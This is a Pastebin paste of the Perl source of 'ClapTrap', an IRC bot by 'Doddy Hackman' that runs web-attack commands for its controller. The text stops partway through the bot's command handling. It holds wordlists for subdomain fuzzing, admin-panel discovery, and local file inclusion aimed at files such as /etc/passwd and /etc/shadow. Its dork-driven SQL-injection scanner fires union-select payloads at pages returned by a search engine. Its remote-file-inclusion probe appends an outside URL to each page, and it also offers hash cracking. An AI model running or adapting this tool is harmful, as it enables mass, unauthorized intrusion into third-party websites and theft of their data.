Doddy

ClapTrap IRC Bot

Jan 6th, 2014
1,998
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 46.04 KB | None | 0 0
  1. #!usr/bin/perl
  2. #ClapTrap IRC Bot 0.5
  3. #(C) Doddy Hackman 2014
  4. #
  5. #Commands to use :
  6. #
  7. #!sqli <page>
  8. #!lfi <page>
  9. #!panel <page>
  10. #!locateip <web>
  11. #!sqlifinder <page>
  12. #!rfifinder <page>
  13. #!crackit <hash>
  14. #!tinyurl <page>
  15. #!httpfinger <page>
  16. #!md5 <text>
  17. #!base64 <encode/decode> <string>
  18. #!hex <encode/decode> <string>
  19. #!ascii <encode/decode> <string>
  20. #!help
  21. #
  22. #Thanks to Aceitunas & Explorer (perlenespanol)
  23. #
  24.  
  25. use IO::Socket;
  26. use LWP::UserAgent;
  27. use HTML::LinkExtor;
  28. use URI::Split qw(uri_split);
  29. use Digest::MD5 qw(md5_hex);
  30.  
  31. my @dns = (
  32.     'www',         'www1',        'www2',         'www3',
  33.     'ftp',         'ns',          'mail',         '3com',
  34.     'aix',         'apache',      'back',         'bind',
  35.     'boreder',     'bsd',         'business',     'chains',
  36.     'cisco',       'content',     'corporate',    'cpv',
  37.     'dns',         'domino',      'dominoserver', 'download',
  38.     'e-mail',      'e-safe',      'email',        'esafe',
  39.     'external',    'extranet',    'firebox',      'firewall',
  40.     'front',       'fw',          'fw0',          'fwe',
  41.     'fw-1',        'firew',       'gate',         'gatekeeper',
  42.     'gateway',     'gauntlet',    'group',        'help',
  43.     'hop',         'hp',          'hpjet',        'hpux',
  44.     'http',        'https',       'hub',          'ibm',
  45.     'ids',         'info',        'inside',       'internal',
  46.     'internet',    'intranet',    'ipfw',         'irix',
  47.     'jet',         'list',        'lotus',        'lotusdomino',
  48.     'lotusnotes',  'lotusserver', 'mailfeed',     'mailgate',
  49.     'mailgateway', 'mailgroup',   'mailhost',     'maillist',
  50.     'mailpop',     'mailrelay',   'mimesweeper',  'ms',
  51.     'msproxy',     'mx',          'nameserver',   'news',
  52.     'newsdesk',    'newsfeed',    'newsgroup',    'newsroom',
  53.     'newsserver',  'nntp',        'notes',        'noteserver',
  54.     'notesserver', 'nt',          'outside',      'pix',
  55.     'pop',         'pop3',        'pophost',      'popmail',
  56.     'popserver',   'print',       'printer',      'private',
  57.     'proxy',       'proxyserver', 'public',       'qpop',
  58.     'raptor',      'read',        'redcreek',     'redhat',
  59.     'route',       'router',      'scanner',      'screen',
  60.     'screening',   's#ecure',     'seek',         'smail',
  61.     'smap',        'smtp',        'smtpgateway',  'smtpgw',
  62.     'solaris',     'sonic',       'spool',        'squid',
  63.     'sun',         'sunos',       'suse',         'switch',
  64.     'transfer',    'trend',       'trendmicro',   'vlan',
  65.     'vpn',         'wall',        'web',          'webmail',
  66.     'webserver',   'webswitch',   'win2000',      'win2k',
  67.     'upload',      'file',        'fileserver',   'storage',
  68.     'backup',      'share',       'core',         'gw',
  69.     'wingate',     'main',        'noc',          'home',
  70.     'radius',      'security',    'access',       'dmz',
  71.     'domain',      'sql',         'mysql',        'mssql',
  72.     'postgres',    'db',          'database',     'imail',
  73.     'imap',        'exchange',    'sendmail',     'louts',
  74.     'test',        'logs',        'stage',        'staging',
  75.     'dev',         'devel',       'ppp',          'chat',
  76.     'irc',         'eng',         'admin',        'unix',
  77.     'linux',       'windows',     'apple',        'hp-ux',
  78.     'bigip',       'pc'
  79. );
  80.  
  81. my @panels = (
  82.     'admin/admin.asp',               'admin/login.asp',
  83.     'admin/index.asp',               'admin/admin.aspx',
  84.     'admin/login.aspx',              'admin/index.aspx',
  85.     'admin/webmaster.asp',           'admin/webmaster.aspx',
  86.     'asp/admin/index.asp',           'asp/admin/index.aspx',
  87.     'asp/admin/admin.asp',           'asp/admin/admin.aspx',
  88.     'asp/admin/webmaster.asp',       'asp/admin/webmaster.aspx',
  89.     'admin/',                        'login.asp',
  90.     'login.aspx',                    'admin.asp',
  91.     'admin.aspx',                    'webmaster.aspx',
  92.     'webmaster.asp',                 'login/index.asp',
  93.     'login/index.aspx',              'login/login.asp',
  94.     'login/login.aspx',              'login/admin.asp',
  95.     'login/admin.aspx',              'administracion/index.asp',
  96.     'administracion/index.aspx',     'administracion/login.asp',
  97.     'administracion/login.aspx',     'administracion/webmaster.asp',
  98.     'administracion/webmaster.aspx', 'administracion/admin.asp',
  99.     'administracion/admin.aspx',     'php/admin/',
  100.     'admin/admin.php',               'admin/index.php',
  101.     'admin/login.php',               'admin/system.php',
  102.     'admin/ingresar.php',            'admin/administrador.php',
  103.     'admin/default.php',             'administracion/',
  104.     'administracion/index.php',      'administracion/login.php',
  105.     'administracion/ingresar.php',   'administracion/admin.php',
  106.     'administration/',               'administration/index.php',
  107.     'administration/login.php',      'administrator/index.php',
  108.     'administrator/login.php',       'administrator/system.php',
  109.     'system/',                       'system/login.php',
  110.     'admin.php',                     'login.php',
  111.     'administrador.php',             'administration.php',
  112.     'administrator.php',             'admin1.html',
  113.     'admin1.php',                    'admin2.php',
  114.     'admin2.html',                   'yonetim.php',
  115.     'yonetim.html',                  'yonetici.php',
  116.     'yonetici.html',                 'adm/',
  117.     'admin/account.php',             'admin/account.html',
  118.     'admin/index.html',              'admin/login.html',
  119.     'admin/home.php',                'admin/controlpanel.html',
  120.     'admin/controlpanel.php',        'admin.html',
  121.     'admin/cp.php',                  'admin/cp.html',
  122.     'cp.php',                        'cp.html',
  123.     'administrator/',                'administrator/index.html',
  124.     'administrator/login.html',      'administrator/account.html',
  125.     'administrator/account.php',     'administrator.html',
  126.     'login.html',                    'modelsearch/login.php',
  127.     'moderator.php',                 'moderator.html',
  128.     'moderator/login.php',           'moderator/login.html',
  129.     'moderator/admin.php',           'moderator/admin.html',
  130.     'moderator/',                    'account.php',
  131.     'account.html',                  'controlpanel/',
  132.     'controlpanel.php',              'controlpanel.html',
  133.     'admincontrol.php',              'admincontrol.html',
  134.     'adminpanel.php',                'adminpanel.html',
  135.     'admin1.asp',                    'admin2.asp',
  136.     'yonetim.asp',                   'yonetici.asp',
  137.     'admin/account.asp',             'admin/home.asp',
  138.     'admin/controlpanel.asp',        'admin/cp.asp',
  139.     'cp.asp',                        'administrator/index.asp',
  140.     'administrator/login.asp',       'administrator/account.asp',
  141.     'administrator.asp',             'modelsearch/login.asp',
  142.     'moderator.asp',                 'moderator/login.asp',
  143.     'moderator/admin.asp',           'account.asp',
  144.     'controlpanel.asp',              'admincontrol.asp',
  145.     'adminpanel.asp',                'fileadmin/',
  146.     'fileadmin.php',                 'fileadmin.asp',
  147.     'fileadmin.html',                'administration.html',
  148.     'sysadmin.php',                  'sysadmin.html',
  149.     'phpmyadmin/',                   'myadmin/',
  150.     'sysadmin.asp',                  'sysadmin/',
  151.     'ur-admin.asp',                  'ur-admin.php',
  152.     'ur-admin.html',                 'ur-admin/',
  153.     'Server.php',                    'Server.html',
  154.     'Server.asp',                    'Server/',
  155.     'wp-admin/',                     'administr8.php',
  156.     'administr8.html',               'administr8/',
  157.     'administr8.asp',                'webadmin/',
  158.     'webadmin.php',                  'webadmin.asp',
  159.     'webadmin.html',                 'administratie/',
  160.     'admins/',                       'admins.php',
  161.     'admins.asp',                    'admins.html',
  162.     'administrivia/',                'Database_Administration/',
  163.     'WebAdmin/',                     'useradmin/',
  164.     'sysadmins/',                    'admin1/',
  165.     'system-administration/',        'administrators/',
  166.     'pgadmin/',                      'directadmin/',
  167.     'staradmin/',                    'ServerAdministrator/',
  168.     'SysAdmin/',                     'administer/',
  169.     'LiveUser_Admin/',               'sys-admin/',
  170.     'typo3/',                        'panel/',
  171.     'cpanel/',                       'cPanel/',
  172.     'cpanel_file/',                  'platz_login/',
  173.     'rcLogin/',                      'blogindex/',
  174.     'formslogin/',                   'autologin/',
  175.     'support_login/',                'meta_login/',
  176.     'manuallogin/',                  'simpleLogin/',
  177.     'loginflat/',                    'utility_login/',
  178.     'showlogin/',                    'memlogin/',
  179.     'members/',                      'login-redirect/',
  180.     'sub-login/',                    'wp-login/',
  181.     'login1/',                       'dir-login/',
  182.     'login_db/',                     'xlogin/',
  183.     'smblogin/',                     'customer_login/',
  184.     'UserLogin/',                    'login-us/',
  185.     'acct_login/',                   'admin_area/',
  186.     'bigadmin/',                     'project-admins/',
  187.     'phppgadmin/',                   'pureadmin/',
  188.     'sql-admin/',                    'radmind/',
  189.     'openvpnadmin/',                 'wizmysqladmin/',
  190.     'vadmind/',                      'ezsqliteadmin/',
  191.     'hpwebjetadmin/',                'newsadmin/',
  192.     'adminpro/',                     'Lotus_Domino_Admin/',
  193.     'bbadmin/',                      'vmailadmin/',
  194.     'Indy_admin/',                   'ccp14admin/',
  195.     'irc-macadmin/',                 'banneradmin/',
  196.     'sshadmin/',                     'phpldapadmin/',
  197.     'macadmin/',                     'administratoraccounts/',
  198.     'admin4_account/',               'admin4_colon/',
  199.     'radmind-1/',                    'Super-Admin/',
  200.     'AdminTools/',                   'cmsadmin/',
  201.     'SysAdmin2/',                    'globes_admin/',
  202.     'cadmins/',                      'phpSQLiteAdmin/',
  203.     'navSiteAdmin/',                 'server_admin_small/',
  204.     'logo_sysadmin/',                'server/',
  205.     'database_administration/',      'power_user/',
  206.     'system_administration/',        'ss_vms_admin_sm/'
  207. );
  208.  
  209. my @buscar3 = (
  210.     '../../../boot.ini',
  211.     '../../../../boot.ini',
  212.     '../../../../../boot.ini',
  213.     '../../../../../../boot.ini',
  214.     '/etc/passwd',
  215.     '/etc/shadow',
  216.     '/etc/shadow~',
  217.     '/etc/hosts',
  218.     '/etc/motd',
  219.     '/etc/apache/apache.conf',
  220.     '/etc/fstab',
  221.     '/etc/apache2/apache2.conf',
  222.     '/etc/apache/httpd.conf',
  223.     '/etc/httpd/conf/httpd.conf',
  224.     '/etc/apache2/httpd.conf',
  225.     '/etc/apache2/sites-available/default',
  226.     '/etc/mysql/my.cnf',
  227.     '/etc/my.cnf',
  228.     '/etc/sysconfig/network-scripts/ifcfg-eth0',
  229.     '/etc/redhat-release',
  230.     '/etc/httpd/conf.d/php.conf',
  231.     '/etc/pam.d/proftpd',
  232.     '/etc/phpmyadmin/config.inc.php',
  233.     '/var/www/config.php',
  234.     '/etc/httpd/logs/error_log',
  235.     '/etc/httpd/logs/error.log',
  236.     '/etc/httpd/logs/access_log',
  237.     '/etc/httpd/logs/access.log',
  238.     '/var/log/apache/error_log',
  239.     '/var/log/apache/error.log',
  240.     '/var/log/apache/access_log',
  241.     '/var/log/apache/access.log',
  242.     '/var/log/apache2/error_log',
  243.     '/var/log/apache2/error.log',
  244.     '/var/log/apache2/access_log',
  245.     '/var/log/apache2/access.log',
  246.     '/var/www/logs/error_log',
  247.     '/var/www/logs/error.log',
  248.     '/var/www/logs/access_log',
  249.     '/var/www/logs/access.log',
  250.     '/usr/local/apache/logs/error_log',
  251.     '/usr/local/apache/logs/error.log',
  252.     '/usr/local/apache/logs/access_log',
  253.     '/usr/local/apache/logs/access.log',
  254.     '/var/log/error_log',
  255.     '/var/log/error.log',
  256.     '/var/log/access_log',
  257.     '/var/log/access.log',
  258.     '/etc/group',
  259.     '/etc/security/group',
  260.     '/etc/security/passwd',
  261.     '/etc/security/user',
  262.     '/etc/security/environ',
  263.     '/etc/security/limits',
  264.     '/usr/lib/security/mkuser.default',
  265.     '/apache/logs/access.log',
  266.     '/apache/logs/error.log',
  267.     '/etc/httpd/logs/acces_log',
  268.     '/etc/httpd/logs/acces.log',
  269.     '/var/log/httpd/access_log',
  270.     '/var/log/httpd/error_log',
  271.     '/apache2/logs/error.log',
  272.     '/apache2/logs/access.log',
  273.     '/logs/error.log',
  274.     '/logs/access.log',
  275.     '/usr/local/apache2/logs/access_log',
  276.     '/usr/local/apache2/logs/access.log',
  277.     '/usr/local/apache2/logs/error_log',
  278.     '/usr/local/apache2/logs/error.log',
  279.     '/var/log/httpd/access.log',
  280.     '/var/log/httpd/error.log',
  281.     '/opt/lampp/logs/access_log',
  282.     '/opt/lampp/logs/error_log',
  283.     '/opt/xampp/logs/access_log',
  284.     '/opt/xampp/logs/error_log',
  285.     '/opt/lampp/logs/access.log',
  286.     '/opt/lampp/logs/error.log',
  287.     '/opt/xampp/logs/access.log',
  288.     '/opt/xampp/logs/error.log',
  289.     'C:\ProgramFiles\ApacheGroup\Apache\logs\access.log',
  290.     'C:\ProgramFiles\ApacheGroup\Apache\logs\error.log',
  291.     '/usr/local/apache/conf/httpd.conf',
  292.     '/usr/local/apache2/conf/httpd.conf',
  293.     '/etc/apache/conf/httpd.conf',
  294.     '/usr/local/etc/apache/conf/httpd.conf',
  295.     '/usr/local/apache/httpd.conf',
  296.     '/usr/local/apache2/httpd.conf',
  297.     '/usr/local/httpd/conf/httpd.conf',
  298.     '/usr/local/etc/apache2/conf/httpd.conf',
  299.     '/usr/local/etc/httpd/conf/httpd.conf',
  300.     '/usr/apache2/conf/httpd.conf',
  301.     '/usr/apache/conf/httpd.conf',
  302.     '/usr/local/apps/apache2/conf/httpd.conf',
  303.     '/usr/local/apps/apache/conf/httpd.conf',
  304.     '/etc/apache2/conf/httpd.conf',
  305.     '/etc/http/conf/httpd.conf',
  306.     '/etc/httpd/httpd.conf',
  307.     '/etc/http/httpd.conf',
  308.     '/etc/httpd.conf',
  309.     '/opt/apache/conf/httpd.conf',
  310.     '/opt/apache2/conf/httpd.conf',
  311.     '/var/www/conf/httpd.conf',
  312.     '/private/etc/httpd/httpd.conf',
  313.     '/private/etc/httpd/httpd.conf.default',
  314.     '/Volumes/webBackup/opt/apache2/conf/httpd.conf',
  315.     '/Volumes/webBackup/private/etc/httpd/httpd.conf',
  316.     '/Volumes/webBackup/private/etc/httpd/httpd.conf.default',
  317.     'C:\ProgramFiles\ApacheGroup\Apache\conf\httpd.conf',
  318.     'C:\ProgramFiles\ApacheGroup\Apache2\conf\httpd.conf',
  319.     'C:\ProgramFiles\xampp\apache\conf\httpd.conf',
  320.     '/usr/local/php/httpd.conf.php',
  321.     '/usr/local/php4/httpd.conf.php',
  322.     '/usr/local/php5/httpd.conf.php',
  323.     '/usr/local/php/httpd.conf',
  324.     '/usr/local/php4/httpd.conf',
  325.     '/usr/local/php5/httpd.conf',
  326.     '/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf',
  327.     '/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf',
  328.     '/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf',
  329.     '/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php',
  330.     '/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php',
  331.     '/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php',
  332.     '/usr/local/etc/apache/vhosts.conf',
  333.     '/etc/php.ini',
  334.     '/bin/php.ini',
  335.     '/etc/httpd/php.ini',
  336.     '/usr/lib/php.ini',
  337.     '/usr/lib/php/php.ini',
  338.     '/usr/local/etc/php.ini',
  339.     '/usr/local/lib/php.ini',
  340.     '/usr/local/php/lib/php.ini',
  341.     '/usr/local/php4/lib/php.ini',
  342.     '/usr/local/php5/lib/php.ini',
  343.     '/usr/local/apache/conf/php.ini',
  344.     '/etc/php4.4/fcgi/php.ini',
  345.     '/etc/php4/apache/php.ini',
  346.     '/etc/php4/apache2/php.ini',
  347.     '/etc/php5/apache/php.ini',
  348.     '/etc/php5/apache2/php.ini',
  349.     '/etc/php/php.ini',
  350.     '/etc/php/php4/php.ini',
  351.     '/etc/php/apache/php.ini',
  352.     '/etc/php/apache2/php.ini',
  353.     '/web/conf/php.ini',
  354.     '/usr/local/Zend/etc/php.ini',
  355.     '/opt/xampp/etc/php.ini',
  356.     '/var/local/www/conf/php.ini',
  357.     '/etc/php/cgi/php.ini',
  358.     '/etc/php4/cgi/php.ini',
  359.     '/etc/php5/cgi/php.ini',
  360.     'c:\php5\php.ini',
  361.     'c:\php4\php.ini',
  362.     'c:\php\php.ini',
  363.     'c:\PHP\php.ini',
  364.     'c:\WINDOWS\php.ini',
  365.     'c:\WINNT\php.ini',
  366.     'c:\apache\php\php.ini',
  367.     'c:\xampp\apache\bin\php.ini',
  368.     'c:\NetServer\bin\stable\apache\php.ini',
  369.     'c:\home2\bin\stable\apache\php.ini',
  370.     'c:\home\bin\stable\apache\php.ini',
  371.     '/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini',
  372.     '/usr/local/cpanel/logs',
  373.     '/usr/local/cpanel/logs/stats_log',
  374.     '/usr/local/cpanel/logs/access_log',
  375.     '/usr/local/cpanel/logs/error_log',
  376.     '/usr/local/cpanel/logs/license_log',
  377.     '/usr/local/cpanel/logs/login_log',
  378.     '/var/cpanel/cpanel.config',
  379.     '/var/log/mysql/mysql-bin.log',
  380.     '/var/log/mysql.log',
  381.     '/var/log/mysqlderror.log',
  382.     '/var/log/mysql/mysql.log',
  383.     '/var/log/mysql/mysql-slow.log',
  384.     '/var/mysql.log',
  385.     '/var/lib/mysql/my.cnf',
  386.     'C:\ProgramFiles\MySQL\MySQLServer5.0\data\hostname.err',
  387.     'C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.log',
  388.     'C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.err',
  389.     'C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql-bin.log',
  390.     'C:\ProgramFiles\MySQL\data\hostname.err',
  391.     'C:\ProgramFiles\MySQL\data\mysql.log',
  392.     'C:\ProgramFiles\MySQL\data\mysql.err',
  393.     'C:\ProgramFiles\MySQL\data\mysql-bin.log',
  394.     'C:\MySQL\data\hostname.err',
  395.     'C:\MySQL\data\mysql.log',
  396.     'C:\MySQL\data\mysql.err',
  397.     'C:\MySQL\data\mysql-bin.log',
  398.     'C:\ProgramFiles\MySQL\MySQLServer5.0\my.ini',
  399.     'C:\ProgramFiles\MySQL\MySQLServer5.0\my.cnf',
  400.     'C:\ProgramFiles\MySQL\my.ini',
  401.     'C:\ProgramFiles\MySQL\my.cnf',
  402.     'C:\MySQL\my.ini',
  403.     'C:\MySQL\my.cnf',
  404.     '/etc/logrotate.d/proftpd',
  405.     '/www/logs/proftpd.system.log',
  406.     '/var/log/proftpd',
  407.     '/etc/proftp.conf',
  408.     '/etc/protpd/proftpd.conf',
  409.     '/etc/vhcs2/proftpd/proftpd.conf',
  410.     '/etc/proftpd/modules.conf',
  411.     '/var/log/vsftpd.log',
  412.     '/etc/vsftpd.chroot_list',
  413.     '/etc/logrotate.d/vsftpd.log',
  414.     '/etc/vsftpd/vsftpd.conf',
  415.     '/etc/vsftpd.conf',
  416.     '/etc/chrootUsers',
  417.     '/var/log/xferlog',
  418.     '/var/adm/log/xferlog',
  419.     '/etc/wu-ftpd/ftpaccess',
  420.     '/etc/wu-ftpd/ftphosts',
  421.     '/etc/wu-ftpd/ftpusers',
  422.     '/usr/sbin/pure-config.pl',
  423.     '/usr/etc/pure-ftpd.conf',
  424.     '/etc/pure-ftpd/pure-ftpd.conf',
  425.     '/usr/local/etc/pure-ftpd.conf',
  426.     '/usr/local/etc/pureftpd.pdb',
  427.     '/usr/local/pureftpd/etc/pureftpd.pdb',
  428.     '/usr/local/pureftpd/sbin/pure-config.pl',
  429.     '/usr/local/pureftpd/etc/pure-ftpd.conf',
  430.     '/etc/pure-ftpd/pure-ftpd.pdb',
  431.     '/etc/pureftpd.pdb',
  432.     '/etc/pureftpd.passwd',
  433.     '/etc/pure-ftpd/pureftpd.pdb',
  434.     '/var/log/pure-ftpd/pure-ftpd.log',
  435.     '/logs/pure-ftpd.log',
  436.     '/var/log/pureftpd.log',
  437.     '/var/log/ftp-proxy/ftp-proxy.log',
  438.     '/var/log/ftp-proxy',
  439.     '/var/log/ftplog',
  440.     '/etc/logrotate.d/ftp',
  441.     '/etc/ftpchroot',
  442.     '/etc/ftphosts',
  443.     '/var/log/exim_mainlog',
  444.     '/var/log/exim/mainlog',
  445.     '/var/log/maillog',
  446.     '/var/log/exim_paniclog',
  447.     '/var/log/exim/paniclog',
  448.     '/var/log/exim/rejectlog',
  449.     '/var/log/exim_rejectlog'
  450. );
  451.  
  452. my $nave = LWP::UserAgent->new();
  453. $nave->timeout(5);
  454. $nave->agent(
  455. "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"
  456. );
  457.  
  458. my $servidor;
  459. my $canal;
  460. my $nick;
  461. my $port;
  462. my $lider;
  463. my $soquete;
  464.  
  465. head();
  466.  
  467. unless ( -f "config.txt" ) {
  468.  
  469.     print "\n[+] Server : ";
  470.     chomp( my $server = <stdin> );
  471.     print "\n[+] Port : ";
  472.     chomp( my $port = <stdin> );
  473.     print "\n[+] Channel : ";
  474.     chomp( my $canal = <stdin> );
  475.     print "\n[+] Your Nick : ";
  476.     chomp( my $nickz = <stdin> );
  477.  
  478.     savefile( "config.txt", "server=" . $server );
  479.     savefile( "config.txt", "canal=" . $canal );
  480.     savefile( "config.txt", "puerto=" . $port );
  481.     savefile( "config.txt", "nick=" . $nickz );
  482.  
  483.     print "\n[+] Installed ...\n\n";
  484.  
  485. }
  486.  
  487. my $codez = abrir();
  488. my $tengo_server;
  489. my $tengo_canal;
  490. my $tengo_puerto;
  491. my $tengo_nick;
  492.  
  493. my $control;
  494.  
  495. if ( $codez =~ /server=(.*)/ ) {
  496.     $tengo_server = $1;
  497. }
  498.  
  499. if ( $codez =~ /canal=(.*)/ ) {
  500.     $tengo_canal = $1;
  501. }
  502.  
  503. if ( $codez =~ /puerto=(.*)/ ) {
  504.     $tengo_puerto = $1;
  505. }
  506.  
  507. if ( $codez =~ /nick=(.*)/ ) {
  508.     $tengo_nick = $1;
  509. }
  510.  
  511. $servidor = $tengo_server;
  512. $canal    = $tengo_canal;
  513. $nick     = "ClapTrap";
  514. $port     = $tengo_puerto;
  515. $lider    = $tengo_nick;
  516.  
  517. party();
  518.  
  519. sub party {
  520.  
  521.     print "[+] Starting the bot\n";
  522.  
  523.     $soquete = new IO::Socket::INET(
  524.         PeerAddr => $servidor,
  525.         PeerPort => $port,
  526.         Proto    => 'tcp'
  527.     );
  528.  
  529.     if ( !$soquete ) {
  530.         print "\n[-] Error\n";
  531.         exit 1;
  532.     }
  533.  
  534.     print $soquete "NICK $nick\r\n";
  535.     print $soquete "USER $nick 1 1 1 1\r\n";
  536.     print $soquete "JOIN $canal\r\n";
  537.  
  538.     print "[+] Online\n\n";
  539.  
  540.     while ( my $log = <$soquete> ) {
  541.         chomp($log);
  542.  
  543.         if ( $log =~ /^PING(.*)$/i ) {
  544.             print $soquete "PONG $1\r\n";
  545.         }
  546.  
  547.         if ( $log =~ /:(.*)!(.*) PRIVMSG (.*) :(.*)/ ) {
  548.             if ( $1 eq $lider ) {
  549.                 $control = 1;
  550.             }
  551.             else {
  552.                 $control = "Fuck You";
  553.             }
  554.         }
  555.  
  556.         if ( $control eq 1 ) {
  557.  
  558.             if ( $log =~ m/:!help/g ) {
  559.                 print $soquete
  560. "PRIVMSG $canal : Hi , I am ClapTrap an assistant robot programmed by Doddy Hackman in the year 2014\r\n";
  561.                 print $soquete "PRIVMSG $canal : [++] Commands\r\n";
  562.                 print $soquete "PRIVMSG $canal : [+] !help\r\n";
  563.                 print $soquete "PRIVMSG $canal : [+] !locateip <web>\r\n";
  564.                 print $soquete "PRIVMSG $canal : [+] !sqlifinder <dork>\r\n";
  565.                 print $soquete "PRIVMSG $canal : [+] !rfifinder <dork>\r\n";
  566.                 print $soquete "PRIVMSG $canal : [+] !panel <page>\r\n";
  567.                 print $soquete "PRIVMSG $canal : [+] !sqli <page>\r\n";
  568.                 print $soquete "PRIVMSG $canal : [+] !fuzzdns <page>\r\n";
  569.                 print $soquete "PRIVMSG $canal : [+] !lfi <page>\r\n";
  570.                 print $soquete "PRIVMSG $canal : [+] !crackit <hash>\r\n";
  571.                 print $soquete "PRIVMSG $canal : [+] !tinyurl <page>\r\n";
  572.                 print $soquete "PRIVMSG $canal : [+] !httpfinger <page>\r\n";
  573.                 print $soquete "PRIVMSG $canal : [+] !md5 <text>\r\n";
  574.                 print $soquete
  575.                   "PRIVMSG $canal : [+] !base64 <encode/decode> <text>\r\n";
  576.                 print $soquete
  577.                   "PRIVMSG $canal : [+] !ascii <encode/decode> <text>\r\n";
  578.                 print $soquete
  579.                   "PRIVMSG $canal : [+] !hex <encode/decode> <text> \r\n";
  580.                 print $soquete "PRIVMSG $canal : [++] Enjoy this IRC Bot\r\n";
  581.             }
  582.  
  583.             #print $log."\n";
  584.  
  585.             if ( $log =~ m/:!crackit/ ) {
  586.  
  587.                 $log =~ /:(.*)!(.*)\sPRIVMSG\s(.*)\s:(.*)\s(.*)\s(.*)/;
  588.  
  589.                 if ( $4 == "!crackit" ) {
  590.  
  591.                     my $hash = $5;
  592.  
  593.                     print $soquete "PRIVMSG $canal : [+] Working ...\r\n";
  594.  
  595.                     my $re = crackit($hash);
  596.                     unless ( $re =~ /false01/ ) {
  597.                         print $soquete "PRIVMSG $canal : [+] MD5 : $re\r\n";
  598.                     }
  599.                     else {
  600.                         print $soquete
  601.                           "PRIVMSG $canal : [-] Hash not Found\r\n";
  602.                     }
  603.                    
  604.                     print $soquete "PRIVMSG $canal : [+] Finished\r\n";
  605.  
  606.                 }
  607.  
  608.             }
  609.  
  610.             if ( $log =~ m/:!panel (.*)\// ) {
  611.  
  612.                 my $page = $1;
  613.                 chomp $page;
  614.                 print $soquete "PRIVMSG $canal : [+] Working ...\r\n";
  615.                 scan($page);
  616.                 print $soquete "PRIVMSG $canal : [+] Scan Finished\r\n";
  617.  
  618.             }
  619.  
  620.             if ( $log =~ m/:!md5 (.*)$/ ) {
  621.  
  622.                 my $text = $1;
  623.                 chomp $text;
  624.  
  625.                 print $soquete "PRIVMSG $canal : [+] MD5 : "
  626.                   . md5_hex($text) . "\r\n";
  627.  
  628.             }
  629.  
  630.             if ( $log =~ m/:!httpfinger (.*)$/g ) {
  631.  
  632.                 my $page = $1;
  633.  
  634.                 print $soquete "PRIVMSG $canal : [+] Working ...\r\n";
  635.  
  636.                 my $coded = $nave->get($page);
  637.  
  638.                 print $soquete "PRIVMSG $canal : [+] Date : "
  639.                   . $coded->header('date') . "\r\n";
  640.                 print $soquete "PRIVMSG $canal : [+] Server : "
  641.                   . $coded->header('server') . "\r\n";
  642.                 print $soquete "PRIVMSG $canal : [+] Connection : "
  643.                   . $coded->header('connection') . "\r\n";
  644.                 print $soquete "PRIVMSG $canal : [+] Content-Type : "
  645.                   . $coded->header('content-type') . "\r\n";
  646.  
  647.                 print $soquete "PRIVMSG $canal : [+] Scan Finished\r\n";
  648.             }
  649.  
  650.             if ( $log =~ m/:!tinyurl (.*)$/g ) {
  651.                 my $page = $1;
  652.  
  653.                 print $soquete "PRIVMSG $canal : [+] Working ...\r\n";
  654.  
  655.                 my $code =
  656.                   toma( "http://tinyurl.com/api-create.php?url=" . $page );
  657.  
  658.                 unless ( $code =~ /Error/ig ) {
  659.                     print $soquete "PRIVMSG $canal : [+] Link : $code\r\n";
  660.                 }
  661.                 else {
  662.                     print $soquete "PRIVMSG $canal : [-] Error\r\n";
  663.                 }
  664.  
  665.             }
  666.  
  667.             if ( $log =~ m/:!locateip (.*)\//g ) {
  668.  
  669.                 print $soquete "PRIVMSG $canal : [+] Working ...\r\n";
  670.                 infocon($1);
  671.                 print $soquete "PRIVMSG $canal : [+] Scan Finished\r\n";
  672.  
  673.             }
  674.  
  675.             if ( $log =~ m/:!sqlifinder (.*)$/g ) {
  676.  
  677.                 print $soquete "PRIVMSG $canal : [+] Working ...\r\n";
  678.                 my $dork = $1;
  679.                 my @paginas = &google( $dork, "30" );    # 30 EDIT
  680.                 print $soquete "PRIVMSG $canal : [+] SQL Scan Started\r\n";
  681.                 print $soquete "PRIVMSG $canal : [+] Searching pages\r\n";
  682.                 print $soquete "PRIVMSG $canal : [Webs Count] : "
  683.                   . int(@paginas) . "\r\n";
  684.                 print $soquete "PRIVMSG $canal : [Status] : Scanning\r\n";
  685.  
  686.                 for my $page (@paginas) {
  687.                     my ( $pass1, $pass2 ) = ( "+", "--" );
  688.                     $code1 =
  689.                       toma( $page . "-1"
  690.                           . $pass1 . "union"
  691.                           . $pass1
  692.                           . "select"
  693.                           . $pass1 . "666"
  694.                           . $pass2 );
  695.                     if ( $code1 =~
  696. /The used SELECT statements have a different number of columns/ig
  697.                       )
  698.                     {
  699.                         print $soquete "PRIVMSG $canal : [+] SQLI : $page\r\n";
  700.                     }
  701.                 }
  702.                 print $soquete "PRIVMSG $canal : [+] Finished\r\n";
  703.             }
  704.  
  705.             if ( $log =~ m/:!rfifinder (.*)$/g ) {
  706.  
  707.                 print $soquete "PRIVMSG $canal : [+] Working ...\r\n";
  708.                 my $dork = $1;
  709.                 my @paginas = &google( $dork, "30" );    # 30 EDIT
  710.                 print $soquete "PRIVMSG $canal : [+] RFI Scan Started\r\n";
  711.                 print $soquete "PRIVMSG $canal : [+] Searching pages\r\n";
  712.                 print $soquete "PRIVMSG $canal : [Webs Count] : "
  713.                   . int(@paginas) . "\r\n";
  714.                 print $soquete "PRIVMSG $canal : [Status] : Scanning\r\n";
  715.  
  716.                 for my $page (@paginas) {
  717.                     $code1 = toma( $page . "http:/www.supertangas.com/" );
  718.                     if ( $code1 =~ /Los mejores TANGAS de la red/ig )
  719.                     {    #Esto es conocimiento de verdad xDDD
  720.                         print $soquete "PRIVMSG $canal : [+] RFI : $page\r\n";
  721.                     }
  722.                 }
  723.                 print $soquete "PRIVMSG $canal : [+] Finished\r\n";
  724.             }
  725.  
  726.             if ( $log =~ m/:!sqli (.*)$/g ) {
  727.                 print $soquete "PRIVMSG $canal : [+] Working ...\r\n";
  728.                 print $soquete "PRIVMSG $canal : [+] SQL Scan Starting\r\n";
  729.                 scan2($1);
  730.             }
